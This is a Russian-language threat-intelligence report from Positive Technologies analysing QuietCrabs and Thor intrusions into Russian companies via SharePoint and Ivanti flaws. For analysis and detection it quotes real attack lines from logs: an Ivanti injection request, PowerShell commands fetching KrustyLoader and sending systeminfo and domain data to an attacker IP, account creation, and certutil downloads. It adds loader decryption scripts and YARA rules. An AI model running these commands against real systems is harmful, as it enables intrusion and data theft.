PT Expert Security Center

Dragons in Thunder

Dragons in Thunder

Авторы:

Александр Бадаев

Александр Бадаев

Специалист группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies

Климентий Галкин

Климентий Галкин

Специалист группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies

Владислав Лунин

Владислав Лунин

Ведущий специалист группы исследования сложных угроз TI-департамента экспертного центра безопасности Positive Technologies

Ключевые моменты

  • В ходе расследований двух инцидентов в российских компаниях была обнаружена вредоносная активность, связанная с эксплуатацией RCE-уязвимостей, в том числе CVE-2025-53770 в Microsoft SharePoint, а также CVE-2025-4427 и CVE-2025-4428 в Ivanti Endpoint Manager Mobile.
  • Помимо эксплуатации уязвимостей, были обнаружены образцы вредоносного ПО KrustyLoader, Sliver, а также следы использования инструментов Tactical RMM, MeshAgent.
  • Подробное изучение показало присутствие как минимум двух группировок, одна и которых — QuietCrabs, также известная как UTA0178 и UNC5221, а вторая — Thor.
  • QuietCrabs были замечены за использованием упомянутых уязвимостей в течение нескольких часов после публикации PoC.
  • Исследование показало, что хакерская группировка Thor предположительно атаковала около 110 российских компаний.

Описание группировок

ПунктОписание

QuietCrabs

UTA0178, UNC5221, Red Dev 61

Хакерская группировка предположительно азиатского происхождения, основная цель — кибершпионаж. Первичным элементом атаки является использование известных уязвимостей, из-за чего нападения получили большую огласку. Группировка известна под разными названиями. Впервые обнаружена в начале 2024 года, активна до сих пор. Помимо этого, некоторые исследователи связывают деятельность QuietCrabs с большой группировкой APT27
География жертвСША, Великобритания, Германия, Южная Корея, Россия, Тайвань, Филиппины, Иран, Чехия и другие
МотивацияКибершпионаж
Впервые обнаруженыЯнварь 2024 года
Последняя активностьНастоящее время
ПунктОписание
ThorХакерская группировка, обнаруженная в атаках на российские компании в 2025 году. В качестве конечного вредоносного ПО используют программы-вымогатели LockBit и Babuk, однако для закрепления применяют Tactical RMM, MeshAgent. Для получения первичного доступа используют известные уязвимости
География жертвРоссия
МотивацияКибершпионаж, шифрование данных
Впервые обнаруженыМай 2025 года
Последняя активностьНастоящее время

Более детальную информацию о группировках можно получить на TI-портале PT Fusion.

Введение

Во время расследования инцидентов командой Positive Technologies Expert Security Center Incident Response (PT ESC IR) при поддержке команды департамента Threat Intelligence (PT ESC TI) были обнаружены следы использования вредоносного ПО KrustyLoader. Впервые ВПО было описано в январе 2024 года экспертами из команд Volexity и Mandiant. Оно было замечено в атаках с использованием RCE-уязвимостей нулевого дня в продукте Ivanti Connect Secure. Тогда же было указано, что KrustyLoader написан под Linux, однако позже появились версии под Windows. Примечательно, что на момент исследования загрузчик использовался только одной группировкой, которую мы называем QuietCrabs.

Помимо этого, дальнейшее расследование позволило обнаружить в инфраструктуре жертвы активность другой группировки. Интересно, что ее деятельность, вероятно, помешала QuietCrabs реализовать атаку и стала причиной, по которой на эту атаку обратили внимание. Мы предполагаем, что второй группировкой является Thor. На основе изучения сетевой инфраструктуры злоумышленников и данных телеметрии мы пришли к выводу, что вторая группировка проводила массовую атаку на российские компании. Для получения первоначального доступа к инфраструктуре злоумышленники использовали ряд уязвимостей типа RCE (Remote Code Execution), например CVE-2025-53770, CVE-2021-27065.

В статье мы покажем цепочки атак, обнаруженные нами во время расследования, и расскажем про сами инструменты, которые использовали злоумышленники.

Активность группировки QuietCrabs

Расследования инцидентов и проактивный поиск вредоносных файлов позволил выявить атаки, направленные на различные отрасли России и других стран. Примерная схема атак группировки QuietCrabs представлена на рисунке 1.

Рисунок 1. Общая схема атак QuietCrabs в инцидентах
Рисунок 1. Общая схема атак QuietCrabs в инцидентах

Атаки группировки характеризуются массовым сканированием интернета в поиске уязвимых серверов. 

В первом инциденте QuietCrabs эксплуатировала CVE-2025-4427 и CVE-2025-4428 через день после официального заявления Ivanti. Ниже указан пример того, как выглядит эксплуатация в журнале access.log. Результат записывался в файл с расширением .jpg, после чего считывался атакующими снаружи.

GET /api/v2/featureusage_history?adminDeviceSpaceId=131&format=${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('/bin/bash -c $@|bash 0 echo df -a > /mi/tomcat/webapps/mifs/images/PaKE5k.jpg')}

GET /mifs/images/PaKE5k.jpg


Во втором инциденте были обнаружены следы успешной эксплуатации CVE-2025-53770 в течение суток после публикации эксплойта, а неудачные попытки — в течение нескольких часов после первых публикации неработающих эксплойтов.

Алгоритм действий группировки после получения доступа к серверу SharePoint примерно следующий:

  • Закрепление на уязвимом сервере через загрузку ASPX-файла, представляющего собой простой веб-шелл, о котором мы расскажем ниже.
  • Получение информации о внешнем IP-адресе и проверка доступов на запись в файл. Пример команды:
powershell.exe -Command Invoke-WebRequest -Uri http://ifconfig[.]me -OutFile C:/Users/Public/Downloads/1.exe
  • Загрузка следующей стадии с внешнего сервера. В качестве следующей стадии выступал KrustyLoader.
powershell.exe -Command Invoke-WebRequest -Uri http://omnileadzdev.s3.amazonaws[.]com/l9oWUjyPR6Gc -OutFile C:/Users/Public/Downloads/1.exe
  • Загрузка и запуск через KrustyLoader импланта Sliver.
     

Sliver — это кросс-платформенный фреймворк с открытым исходным кодом для эмуляции атак злоумышленников или для пентеста. Он может использоваться организациями любого размера для тестирования безопасности. Импланты Sliver обеспечивают соединение с C2-сервером по протоколам Mutual TLS (mTLS), WireGuard, HTTP, HTTPS и DNS и динамически компилируются с использованием асимметричных ключей шифрования для каждого бинарного файла.
Источник: BishopFox / sliver (GitHub)

Во время исследования сетевой инфраструктуры мы заметили, что QuietCrabs предпочитала использовать хостинг-провайдера DigitalOcean. Такой выбор может обусловливаться их приоритетным регионом для атак — Северной Америкой. Серверы в этом хостинге позволяют мимикрировать под американский трафик. Однако этот же хостинг мы видим в атаках на компании в России, что кажется любопытным: DigitalOcean, как американский провайдер, не помогает обходить геоблокировки (в отличие от местных или нейтральных хостеров), а, скорее, усложняет маскировку, что подчеркивает уникальность тактики QuietCrabs.

ASPX-веб-шелл

Для дополнительного закрепления злоумышленники использовали ASPX-файл, представляющий собой простой веб-шелл, возвращающий результат выполнения команды в ответе в текстовом виде. Сам веб-шелл принимает два GET-параметра — cmd и timeout. Первый отвечает за команду, которую необходимо выполнить, второй — за максимальное время выполнения команды.

Команда оборачивается в блок try..catch, кодируется с использованием алгоритма Base64 и запускается через системную утилиту ScriptRunner.exe. Результат работы в случае отсутствия ошибок пишется в файл по следующему пути:

C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\<UUID>


Пример записи в журнале access.log с выполнением команды:

GET /_layouts/15/ps_backdoor.aspx cmd=echo K046rywr6NOHae7m


Далее веб-шелл считывает из этого файла результат работы команды и отправляет злоумышленникам. Фрагмент скрипта можно найти на рисунке ниже.

Рисунок 2. Фрагмент веб-шелла ps_backdoor.aspx
Рисунок 2. Фрагмент веб-шелла ps_backdoor.aspx

JSP-загрузчик

Во время расследования было понятно, что группировка QuietCrabs напрямую загрузила KrustyLoader через эксплуатацию уязвимости. Однако в процессе исследования команда TI-департамента нашла в открытых источниках файл, представляющий собой простой JSP-загрузчик. Очевидно, что подобные образцы использовались в атаках на Java-приложения. Алгоритм работы загрузчика:

  • Принять пароль через параметр запроса pwd и проверить его. Если он равен p@ss — перейти дальше, иначе — вернуть в ответе строку 4c7c96d31ffaa6b8a5e86760edcb9294.
  • Получить номер версии из параметра запроса version, записать его в файл. 
  • Скачать KrustyLoader с внешнего сервера с IP-адресом 143.198.8[.]180 и запустить его.
  • Вернуть ответ { «status»: 0 }.
Рисунок 3. Код JSP-загрузчика
Рисунок 3. Код JSP-загрузчика

KrustyLoader

Про KrustyLoader уже писали несколько раз, мы лишь напомним об основных артефактах, которые можно найти в системе во время его работы. KrustyLoader — это загрузчик, написанный на языке Rust, основная функция которого — расшифровать ссылку, которая ведет на скачивание полезной нагрузки, загрузить ее, внедрить в целевой процесс и запустить.

Почти во всех описанных исследованиях приводятся семплы ELF x64, а некоторые вендоры описывают KrustyLoader исключительно как ПО под системы Linux. Но в нашем случае мы видели в инцидентах только семплы под Windows.

Важная особенность KrustyLoader заключается в том, что это уникальное ВПО, ассоциирующееся только с одной группировкой — QuietCrabs. Мы видим, что злоумышленники постепенно дорабатывают и обновляют это инструмент.

В начале KrustyLoader копирует себя в папку %TEMP% с масками имен файлов, представленных ниже, где name — это имя, gen_sym — случайно сгенерированные символы:
 

.<name>.<gen_sym>.__selfdelete__.exe
.<name>.<gen_sym>.__relocated__.exe

В дальнейшем эти файлы служат файловыми маркерами того, что система уже заражена. После копирования KrustyLoader удаляет себя из запускаемой папки. Далее инициализирует и переходит к выполнению части кода, которая обфусцирована с помощью control flow flattening (CFF).

Рисунок 4. Инициализация и диспетчеризация CFF
Рисунок 4. Инициализация и диспетчеризация CFF

В первом диспетчере проверяется существование файла C:\Users\Public\Downloads\0, во втором — что этот файл непустой. Содержимое файла служит параметром для функции сна tokio::sleep.

Рисунок 5. Проверка существования файла
Рисунок 5. Проверка существования файла

В третьем диспетчере KrustyLoader проверяет, что запущен из папки C:\Users\Public\Downloads.

Рисунок 6. Проверка вхождения целевого пути
Рисунок 6. Проверка вхождения целевого пути

В четвертом диспетчере происходит сначала расшифровка ссылки для получения полезной нагрузки. Сама ссылка зашифрована двумя слоями, первый — XOR, второй — AES-128-CFB. Все данные находятся в секции .text, KrustyLoader находит их с помощью маркера.

Рисунок 7. Данные в секции .text
Рисунок 7. Данные в секции .text

Ниже представлен скрипт для расшифровки ссылки.
 

import sys
 
from Crypto.Cipher import AES
from binascii import unhexlify
 
data = open(sys.argv[1], 'rb').read()
 
target_dir = b"c:/users/public/downloads/"
 
start_target_dir = data.find(target_dir)
start_marker = data.find(b"|||||||||||||||||")
start_enc = start_marker - start_target_dir
 
encrypted =  unhexlify(data[start_target_dir+len(target_dir):start_marker])
 
xor_key_data_marker = b"#####################"
start_xor_key_marker = data.find(xor_key_data_marker)
xor_key = data[start_xor_key_marker+len(xor_key_data_marker)]
 
if (xor_key == 0x0F):
       xor_key_text_marker = b"\x41\x80\xF7"
       start_xor_key_text_marker = data.find(xor_key_text_marker)
       xor_key = data[start_xor_key_text_marker+len(xor_key_text_marker)]
 
encrypted_url = bytes([i^xor_key for i in encrypted])
 
aes_key = data[start_target_dir-32:start_target_dir-16]
aes_iv = data[start_target_dir-16:start_target_dir]
 
cipher = AES.new(aes_key, AES.MODE_CFB, iv=aes_iv, segment_size=128)
decrypted = cipher.decrypt(encrypted_url)
print(decrypted.decode())


Полученную полезную нагрузку KrustyLoader расшифровывает, используя тот же ключ и вектор инициализации, что и для ссылки. Скрипт расшифровки полезной нагрузки представлен ниже.

import sys
from Crypto.Cipher import AES
 
enc = …
key = …
iv = …
 
cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
open('decrypted', 'wb').write(cipher.decrypt(enc))


Затем полезная нагрузка внедряется в процесс explorer.exe и запускается на исполнение через функцию RtlCreateUserThread.

Рисунок 8. Внедрение полезной нагрузки в explorer.exe
Рисунок 8. Внедрение полезной нагрузки в explorer.exe

Полезной нагрузкой во всех найденных нами образцах являлся Sliver, но не исключено, что нагрузка может быть и другой. На рисунке 7 есть еще одна ссылка url. В этом образце она имеет значение ########, но если на ее месте будет незашифрованная ссылка, то полезная нагрузка по этой ссылке будет также загружена и запущена, но уже путем внедрения в процесс cmd.exe.

Рисунок 9. Внедрение полезной нагрузки в cmd.exe
Рисунок 9. Внедрение полезной нагрузки в cmd.exe

Активность второй группировки

Во время исследования активности на зараженных узлах мы обнаружили, что часть инструментария не пересекается с теми инструментами, которые использует группировка QuietCrabs. Более того, в отличие от QuietCrabs, вторая группировка действовала более шумно, используя хорошо известные инструменты и техники, что в рамках рассматриваемых инцидентов позволило вовремя обнаружить обе группировки и избежать более серьезных последствий атак.

Пример команд для первоначальной разведки, выполняемых группировкой Thor:

powershell -Command $r=(systeminfo); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing

powershell -Command $r=(tasklist); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing

powershell -Command $r=(whoami /priv); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing

powershell -Command $r=(nltest /dclist:); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing

powershell -Command $r=(nltest /trusted_domains); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing

powershell -Command $r=('powershell Test-NetConnection 95.142.40[.]51 -Port 4444 ; iwr -Uri ('http://95.142.40[.]51:8888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing


Далее злоумышленники создали учетную запись srv, используя команду ниже. Затем этот пользователь добавился в группу локальных администраторов.

powershell -Command $r=(net user srv Brooklin2025! /add); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing


Группировка использовала утилиту ADRecon, которую загружали по пути C:\\users\\public\\ad_ru.ps1, для разведки домена Active Directory. Результаты записывались в файл, который в последствии просматривался злоумышленником:

file:///C:/Users/<User>/Desktop/ADRecon-Report-<date>.zip


Кроме того, злоумышленники использовали certutil для загрузки различных PowerShell-скриптов:

certutil.exe -urlcache -split -f http://95.142.40[.]51:654/exec.ps1 $public\\sql.ps1


Для повышения привилегий группировка использовала общедоступную утилиту GodPotato, а для извлечения данных — такие инструменты, как secretsdump и mimikatz.

К собираемой группировкой информации можно отнести учетные данные локальных и доменных пользователей, почтовых серверов, а также Telegram-сессии сотрудников. Для сбора пользовательских файлов использовалась утилита Rсlone.

Таким образом, если бы не активность второй группировки с общеизвестными инструментами, то, вероятно, QuietCrabs могли бы оставаться незамеченными.

Сопоставив эти данные, мы смогли найти похожее описание, а также общие индикаторы компрометации, которые исследователи из Angara Security опубликовали 19 августа. Они пишут, что за атакой стоит группировка Thor, которая использует шифровальщики LockBit и Babuk. В нашем случае атака была обнаружена вовремя, поэтому эти вредоносные программы мы не обнаружили.

Учитывая пересечение инструментов, техник, а также индикаторов компрометации, мы предполагаем, что за атакой стоит группировка Thor.

Примерная схема атаки группировки изображена на рисунке ниже.

Рисунок 10. Абстрактная схема атаки группировки Thor
Рисунок 10. Абстрактная схема атаки группировки Thor

Корреляция активностей группировок

Во время исследования мы заметили странную особенность: группировка QuietCrabs почти одновременно действовала с предположительной группировкой Thor. Разница между их вредоносными активностями составляла несколько дней. Более того, важно отметить, что расследование начиналось именно с того момента, когда фиксировалась активность группировки Thor, то есть QuietCrabs могли оставаться в инфраструктуре незамеченными намного дольше, если бы не другие злоумышленники.

Несмотря на это, мы не можем точно утверждать, что QuietCrabs сотрудничает с Thor. В нашем случае пересечение активности — это, скорее всего, совпадение, связанное с тем, что и QuietCrabs, и Thor массово сканируют множество организаций для последующего взлома.

Жертвы группировки Thor

В результате изучения сетевой инфраструктуры злоумышленников на основе данных телеметрии было выявлено, что около 145 серверов подверглись сканированию со стороны группировки. На 101 сервере были обнаружены уязвимости, датируемые преимущественно 2021 годом, всего было обнаружено 269 уникальных уязвимостей.

Рисунок 11. Топ уязвимостей, встречаемых на серверах потенциальных жертв

Нам удалось установить около 110 российских компаний, являющихся потенциальными жертвами. При этом наблюдался сильный разброс по атакованным секторам экономики и потенциальной выгоде атакующих.

Рисунок 12. Количество жертв в различных секторах экономики

Похожую ситуацию с атаками на уязвимые серверы мы описывали в нашей статье про вредоносный код, внедренный в страницы аутентификации Microsoft Outlook. В обоих случаях, помимо малого и среднего бизнеса, среди жертв были компании военно-промышленного комплекса, а также из области здравоохранения и научно-исследовательских центры.

Стоит также отметить, что все уязвимые серверы находились на территории России, что говорит о целенаправленности атак группировки Thor.

Выводы

Атаки предполагаемой группировки Thor затронули множество российских компаний, при этом в атаках не использовались сложные техники или уникальный инструментарий, то есть при грамотно выстроенной инфраструктуре и процессах информационной безопасности их возможно было избежать или быстро локализовать.

В это же время атаки группировки QuiteCrabs представляли большую угрозу, так как киберпреступники использовали эксплойты через короткий срок после выхода уязвимостей: разница между выходом патча и атакой была от нескольких дней до нескольких часов. При этом, по данным расследований Mandiant, среднее время, которое QuiteCrabs провела в инфраструктуре, составляет 393 дня.

Вердикты продуктов Positive Technologies

Индикаторы компрометации

Больше индикаторов компрометации можно найти на TI-портале PT Fusion.

Файловые индикаторы, связанные с QuietCrabs

Сетевые индикаторы, связанные с QuietCrabs

Сетевые индикаторы, связанные с Thor

Файловые сигнатуры

rule PTESC_apt_win_ZZ_QuietCrabs__Trojan__KrustyLoader {
    strings:
        $code = {
            BF ?? ?? ?? ??
            48 8D ?D ?? ?? ?? ??
            [0-9]
            81 FF ?? ?? ?? ??
            74 ??
            [0-1] 81 FF ?? ?? ?? ??
            74 ??
            [0-1] 81 FF ?? ?? ?? ??
            0F 84 ?? ?? ?? ??
            [0-1] 81 FF ?? ?? ?? ??
            0F 85 ?? ?? ?? ??
            E9
        }
        $s1   = "[-]ResumeThread failed: "
        $s2   = "[-]Unknow IMAGE_OPTIONAL_HEADER type for machine type: "
    condition:
        ((uint16(0) == 0x5a4d) and (all of them))
}
 
rule PTESC_tool_win_ZZ_Sliver__Backdoor {
    strings:
        $c           = {
            0F B6 54 0C ??
            0F B6 5C 0C ??
            31 DA
            88 14 08
            48 FF C1
            48 83 F9 0C
            7C
        }
        $r           = /([a-z]{10}\/){4}[a-z]{10}\.\(\*[A-Z][a-z]{9}\)/
        $s_bishopfox = "bishopfox"
        $s_github    = "github.com/bishopfox/sliver"
        $s_obf1      = ".Cleanup.func"
        $s_obf2      = ".ConnectRemote.func"
        $s_obf3      = ".SessionInit.func"
        $s_obf4      = ".func500"
        $s_obf5      = ".makeConnectedServerPipe.func"
        $s_obf6      = ".phpURL.func"
        $s_obf7      = ".readWinHttpProxy.func"
        $s_obf8      = ".txtURL.func"
        $s_obf9      = /main\.[a-z]{10}\.func5/
        $s_sliver    = "sliver"
    condition:
        uint16(0) == 0x5A4D and (all of ($s_obf*) or (#s_sliver > 100 and #s_bishopfox > 100) or any of ($c*) or (any of ($s_obf*) and #r > 100) or $s_github)
}
rule PTESC_tool_multi_ZZ_WebShell__Backdoor__ASPX {
    strings:
        $asp = "<%@"
        $cmd = "cmd.exe"
        $p1  = "Process()"
        $p2  = "System.Diagnostics.Process"
        $p3  = "new Process"
        $v1  = "Response.Write("
        $v2  = ".Start("
        $v3  = "UseShellExecute"
        $v4  = "RedirectStandardOutput"
        $v5  = "RedirectStandardInput"
        $v6  = "Request.Params["
        $v7  = "Request.Headers["
        $v8  = "Request.Files["
        $v9  = "Environment.GetLogicalDrives()"
        $w1  = "new FileStream"
        $w2  = "new FileInfo"
        $w3  = ".Write("
    condition:
        $asp and filesize < 100KB and (any of ($p*) or 2 of ($w*)) and (3 of ($v*) or 1 of ($v*) and $cmd)
}

rule PTESC_tool_multi_ZZ_TacticalRMM__RemoteAdmin {
    strings:
        $git = "amidaware/rmmagent"
        $s1  = "Tactical RMM Agent"
        $s2  = "Path to custom meshcentral dir"
        $s3  = "NatsWSCompression"
        $s4  = "nixMeshAgentBin"
        $s5  = "limitNatsData"
        $s6  = "CleanupAgentUpdates"
        $s7  = "GetAgentCheckInConfig"
        $s8  = "SendPingCheckResult"
        $s9  = "WinSvcCheckResult"
        $s10 = "PendingActionPK"
        $s11 = "GetCheckInConfFromAPI"
        $s12 = "DjangoStringResp"
    condition:
        (uint32be(0) == 0x7f454c46 or uint16(0) == 0x5a4d) and (5 of ($s*) or #git > 10)
}

rule PTESC_tool_multi_ZZ_MeshAgent__RemoteAdmin {
    strings:
        $s1  = "ScriptContainer.heapFinalizer"
        $s2  = "place .msh file with this executable"
        $s3  = "AgentCore/MeshServer"
        $s4  = "('MeshAgent')"
        $s5  = "addCompressedModule('agent-installer"
        $s6  = "MeshServer_ControlChannel"
        $s7  = "Cannot abort operation that is marked as 'wait for result'"
        $s8  = "compactDirtyMinimum"
        $s9  = "MeshConsole"
        $s10 = "Ooops, invalid socket: "
        $s11 = "Restart Failed, because Script Engine Stop failed"
        $s12 = "Secondary Agent unavailable to assist with self update"
    condition:
        (uint16(0) == 0x5a4d or uint32be(0) == 0x7f454c46) and 5 of them
}

Матрица MITRE

Dragons in Thunder